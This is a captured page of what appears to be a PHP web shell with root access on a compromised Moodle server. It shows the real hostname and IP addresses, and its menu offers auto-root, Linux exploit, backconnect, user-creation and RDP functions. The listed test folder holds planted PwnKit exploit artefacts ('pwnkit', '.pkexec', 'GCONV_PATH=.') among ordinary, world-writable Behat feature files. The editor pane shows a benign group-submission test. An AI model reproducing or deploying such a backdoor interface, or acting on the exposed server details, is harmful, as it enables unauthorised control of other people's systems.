Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
assign /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
allow_another_attempt.feature
7.71
KB
-rwxrwxrwx
assign_comments_no_error.featu...
1.07
KB
-rwxrwxrwx
assign_course_reset.feature
5.82
KB
-rwxrwxrwx
assign_group_override.feature
11.91
KB
-rwxrwxrwx
assign_hidden.feature
1.75
KB
-rwxrwxrwx
assign_no_calendar_capabilitie...
2.18
KB
-rwxrwxrwx
assign_user_override.feature
11.12
KB
-rwxrwxrwx
bulk_remove_submissions.featur...
7.74
KB
-rwxrwxrwx
comment_inline.feature
3.22
KB
-rwxrwxrwx
display_error_message_onbadfor...
3
KB
-rwxrwxrwx
display_grade.feature
3.58
KB
-rwxrwxrwx
edit_previous_feedback.feature
3.49
KB
-rwxrwxrwx
edit_student_submission.featur...
2.04
KB
-rwxrwxrwx
file_submission.feature
2.46
KB
-rwxrwxrwx
filter_by_marker.feature
2.5
KB
-rwxrwxrwx
grading_app_filters.feature
3.87
KB
-rwxrwxrwx
grading_status.feature
8.73
KB
-rwxrwxrwx
grant_extension.feature
6.63
KB
-rwxrwxrwx
group_submission.feature
16.93
KB
-rwxrwxrwx
hide_grader.feature
3.98
KB
-rwxrwxrwx
online_submissions.feature
4.16
KB
-rwxrwxrwx
outcome_grading.feature
6.27
KB
-rwxrwxrwx
page_titles.feature
1.94
KB
-rwxrwxrwx
prevent_submission_changes.fea...
5.24
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
quickgrading.feature
7.43
KB
-rwxrwxrwx
relative_dates.feature
4.23
KB
-rwxrwxrwx
remove_submission.feature
5.29
KB
-rwxrwxrwx
reopen_locked_submission.featu...
3.5
KB
-rwxrwxrwx
rescale_grades.feature
4.29
KB
-rwxrwxrwx
set_availability.feature
7.61
KB
-rwxrwxrwx
steps_blind_marking.feature
5.99
KB
-rwxrwxrwx
submission_comments.feature
4.13
KB
-rwxrwxrwx
submission_notifications.featu...
2.41
KB
-rwxrwxrwx
submission_statement.feature
2.83
KB
-rwxrwxrwx
submit_without_group.feature
13.11
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : group_submission.feature
@mod @mod_assign Feature: Group assignment submissions In order to allow students to work collaboratively on an assignment As a teacher I need to group submissions in groups Background: Given the following "courses" exist: | fullname | shortname | category | groupmode | | Course 1 | C1 | 0 | 1 | And the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | | student0 | Student | 0 | student0@example.com | | student1 | Student | 1 | student1@example.com | | student2 | Student | 2 | student2@example.com | | student3 | Student | 3 | student3@example.com | | student4 | Student | 4 | student4@example.com | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | | student0 | C1 | student | | student1 | C1 | student | | student2 | C1 | student | | student3 | C1 | student | | student4 | C1 | student | And the following "groups" exist: | name | course | idnumber | | Group 1 | C1 | G1 | @javascript Scenario: Switch between group modes Given the following "activity" exists: | activity | assign | | course | C1 | | name | Test assignment name | | submissiondrafts | 0 | | teamsubmission | 1 | And I am on the "Test assignment name" Activity page logged in as teacher1 When I navigate to "View all submissions" in current page administration Then I should see "Default group" in the "Student 0" "table_row" And I should see "Default group" in the "Student 1" "table_row" And I should see "Default group" in the "Student 2" "table_row" And I should see "Default group" in the "Student 3" "table_row" And I am on the "Test assignment name" "assign activity editing" page And I set the following fields to these values: | Group mode | Separate groups | And I press "Save and return to course" And I navigate to "Edit settings" in current page administration And I set the following fields to these values: | Group mode | Separate groups | And I press "Save and display" And the following "group members" exist: | user | group | | student0 | G1 | | student1 | G1 | And I am on the "Test assignment name" "assign activity" page And I navigate to "View all submissions" in current page administration And I set the field "Separate groups" to "Group 1" And I should see "Group 1" in the "Student 0" "table_row" And I should see "Group 1" in the "Student 1" "table_row" And I should not see "Student 2" And I set the field "Separate groups" to "All participants" And I should see "Group 1" in the "Student 0" "table_row" And I should see "Group 1" in the "Student 1" "table_row" And I should see "Default group" in the "Student 2" "table_row" And I should see "Default group" in the "Student 3" "table_row" Scenario: Confirm that the grading status changes for each group member Given the following "group members" exist: | user | group | | student1 | G1 | | student2 | G1 | And the following "activity" exists: | activity | assign | | course | C1 | | name | Test assignment name | | submissiondrafts | 0 | | assignsubmission_onlinetext_enabled | 1 | | assignsubmission_file_enabled | 0 | | teamsubmission | 1 | | preventsubmissionnotingroup | 0 | And the following "mod_assign > submissions" exist: | assign | user | onlinetext | | Test assignment name | student1 | I'm the student's first submission | And I am on the "Test assignment name" Activity page logged in as teacher1 When I navigate to "View all submissions" in current page administration Then "Student 1" row "Status" column of "generaltable" table should contain "Submitted for grading" And "Student 2" row "Status" column of "generaltable" table should contain "Submitted for grading" And "Student 3" row "Status" column of "generaltable" table should not contain "Submitted for grading" And "Student 4" row "Status" column of "generaltable" table should not contain "Submitted for grading" And the following "mod_assign > submissions" exist: | assign | user | onlinetext | | Test assignment name | student3 | I'm the student's first submission | And I am on the "Test assignment name" Activity page And I navigate to "View all submissions" in current page administration And "Student 1" row "Status" column of "generaltable" table should contain "Submitted for grading" And "Student 2" row "Status" column of "generaltable" table should contain "Submitted for grading" And "Student 3" row "Status" column of "generaltable" table should contain "Submitted for grading" And "Student 4" row "Status" column of "generaltable" table should contain "Submitted for grading" @javascript Scenario: Confirm that group submissions can be reopened Given the following "group members" exist: | user | group | | student1 | G1 | | student2 | G1 | And the following "activity" exists: | activity | assign | | course | C1 | | name | Test assignment name | | submissiondrafts | 0 | | assignsubmission_onlinetext_enabled | 1 | | assignsubmission_file_enabled | 0 | | teamsubmission | 1 | | attemptreopenmethod | manual | | requireallteammemberssubmit | 0 | And the following "mod_assign > submissions" exist: | assign | user | onlinetext | | Test assignment name | student1 | I'm the student's first submission | And I am on the "Test assignment name" Activity page logged in as teacher1 And I navigate to "View all submissions" in current page administration And I click on "Grade" "link" in the "Student 1" "table_row" And I set the following fields to these values: | Grade out of 100 | 50.0 | | Apply grades and feedback to entire group | 1 | And I press "Save changes" And I press "OK" And I set the following fields to these values: | Allow another attempt | 1 | And I press "Save changes" And I press "OK" When I am on the "Test assignment name" "assign activity" page And I navigate to "View all submissions" in current page administration Then "Student 1" row "Status" column of "generaltable" table should contain "Reopened" And "Student 2" row "Status" column of "generaltable" table should contain "Reopened" Scenario: Confirm groups and submission counts are correct Given the following "groups" exist: | name | course | idnumber | | Group 2 | C1 | G2 | | Group 3 | C1 | G3 | And the following "group members" exist: | user | group | | student1 | G1 | | student2 | G2 | | student3 | G3 | And the following "groupings" exist: | name | course | idnumber | | Grouping 1 | C1 | GG1 | And the following "grouping groups" exist: | grouping | group | | GG1 | G1 | | GG1 | G2 | # Groupmode 1 = Separate Groups And the following "activity" exists: | activity | assign | | course | C1 | | name | Test assignment name | | submissiondrafts | 0 | | assignsubmission_onlinetext_enabled | 1 | | assignsubmission_file_enabled | 0 | | teamsubmission | 1 | | attemptreopenmethod | manual | | requireallteammemberssubmit | 0 | | groupmode | 1 | | teamsubmissiongroupingid | GG1 | | submissiondrafts | 0 | And the following "mod_assign > submissions" exist: | assign | user | onlinetext | | Test assignment name | student1 | I'm the student's first submission | | Test assignment name | student2 | I'm the student's first submission | | Test assignment name | student3 | I'm the student's first submission | And I am on the "Test assignment name" Activity page logged in as admin And I should see "3" in the "Groups" "table_row" And I should see "3" in the "Submitted" "table_row" When I select "Group 1" from the "Separate groups" singleselect Then I should see "1" in the "Groups" "table_row" And I should see "1" in the "Submitted" "table_row" And I select "Group 2" from the "Separate groups" singleselect And I should see "1" in the "Groups" "table_row" And I should see "1" in the "Submitted" "table_row" And I select "Group 3" from the "Separate groups" singleselect And I should see "1" in the "Groups" "table_row" And I should see "1" in the "Submitted" "table_row" Scenario: Confirm that the submission status changes for each group member Given the following "group members" exist: | user | group | | student1 | G1 | | student2 | G1 | And the following "activity" exists: | activity | assign | | course | C1 | | name | Test assignment name | | submissiondrafts | 1 | | assignsubmission_onlinetext_enabled | 1 | | assignsubmission_file_enabled | 0 | | teamsubmission | 1 | | attemptreopenmethod | manual | | requireallteammemberssubmit | 0 | # Groupmode 0 = No Groups | groupmode | 0 | | preventsubmissionnotingroup | 0 | | submissiondrafts | 0 | | teamsubmission | 1 | And the following "mod_assign > submissions" exist: | assign | user | onlinetext | | Test assignment name | student1 | I'm the student's first submission | And the following "blocks" exist: | blockname | contextlevel | reference | pagetypepattern | defaultregion | | activity_modules | Course | C1 | course-view-* | side-pre | And I am on the "C1" Course page logged in as student1 And I click on "Assignments" "link" in the "Activities" "block" And I should see "Submitted for grading" And I am on the "C1" Course page logged in as student2 And I click on "Assignments" "link" in the "Activities" "block" And I should see "Submitted for grading" And I am on the "Test assignment name" Activity page logged in as teacher1 When I navigate to "View all submissions" in current page administration Then "Student 1" row "Status" column of "generaltable" table should contain "Submitted for grading" And "Student 2" row "Status" column of "generaltable" table should contain "Submitted for grading" @javascript @_file_upload Scenario: Student can submit or edit group assignment depending on 'requireallteammemberssubmit' setting Given the following "courses" exist: | fullname | shortname | category | groupmode | | Course 2 | C2 | 0 | 2 | And the following "course enrolments" exist: | user | course | role | | teacher1 | C2 | editingteacher | | student1 | C2 | student | | student2 | C2 | student | And the following "groups" exist: | name | course | idnumber | | Group 1 | C2 | CG1 | And the following "group members" exist: | user | group | | student1 | CG1 | | student2 | CG1 | And the following "activities" exist: | activity | course | name | assignsubmission_onlinetext_enabled | assignsubmission_file_enabled | assignsubmission_file_maxfiles | assignsubmission_file_maxsizebytes | submissiondrafts | teamsubmission | requireallteammemberssubmit | | assign | C2 | Assign 1 | 1 | 1 | 1 | 2097152 | 1 | 1 | 1 | | assign | C2 | Assign 2 | 1 | 1 | 1 | 2097152 | 0 | 1 | 0 | # Submit an assignment with 'requireallteammemberssubmit' setting enabled When I am on the "Assign 1" "assign activity" page logged in as student1 Then I should see "Group 1" And I should not see "Student 2" And I press "Add submission" And I set the field "Online text" to "student1 submission" And I upload "lib/tests/fixtures/empty.txt" file to "File submissions" filemanager And I press "Save changes" # Confirm that Submission status remains as draft and all students appear because 'Submit assignment' was not yet clicked And I should see "Draft (not submitted)" in the "Submission status" "table_row" And I should see "Users who need to submit: Student 1, Student 2" And I press "Submit assignment" And I press "Continue" # Confirm that Submission status remains as draft and only student2 appears because student2 has not yet submitted assignment And I am on the "Assign 1" "assign activity" page logged in as student2 And I should see "Draft (not submitted)" in the "Submission status" "table_row" And I should see "Users who need to submit: Student 2" And I press "Edit submission" And I set the field "Online text" to "student2 updated submission" And I delete "empty.txt" from "File submissions" filemanager And I upload "lib/tests/fixtures/tabfile.csv" file to "File submissions" filemanager And I press "Save changes" And I press "Submit assignment" And I press "Continue" # Confirm that Submission status is now Submitted for grading and all changes made by student2 is reflected on assignment And I am on the "Assign 1" "assign activity" page logged in as student1 And I should see "Submitted for grading" in the "Submission status" "table_row" And I should see "student2 updated submission" in the "Online text" "table_row" And I should see "tabfile.csv" in the "File submissions" "table_row" And I should not see "student1 submission" in the "Online text" "table_row" And I should not see "empty.txt" in the "File submissions" "table_row" # Submit an assignment with 'requireallteammemberssubmit' disabled And I am on the "Assign 2" "assign activity" page logged in as student1 And I should see "Group 1" And I should not see "Student 2" And I press "Add submission" And I set the field "Online text" to "student1 submission" And I upload "lib/tests/fixtures/empty.txt" file to "File submissions" filemanager And I press "Save changes" # Confirm that Submission status is immediately set to Submitted for grading for all students after student1 submits assignments And I am on the "Assign 2" "assign activity" page logged in as student2 And I should see "Submitted for grading" in the "Submission status" "table_row" And I should not see "Users who need to submit"
Close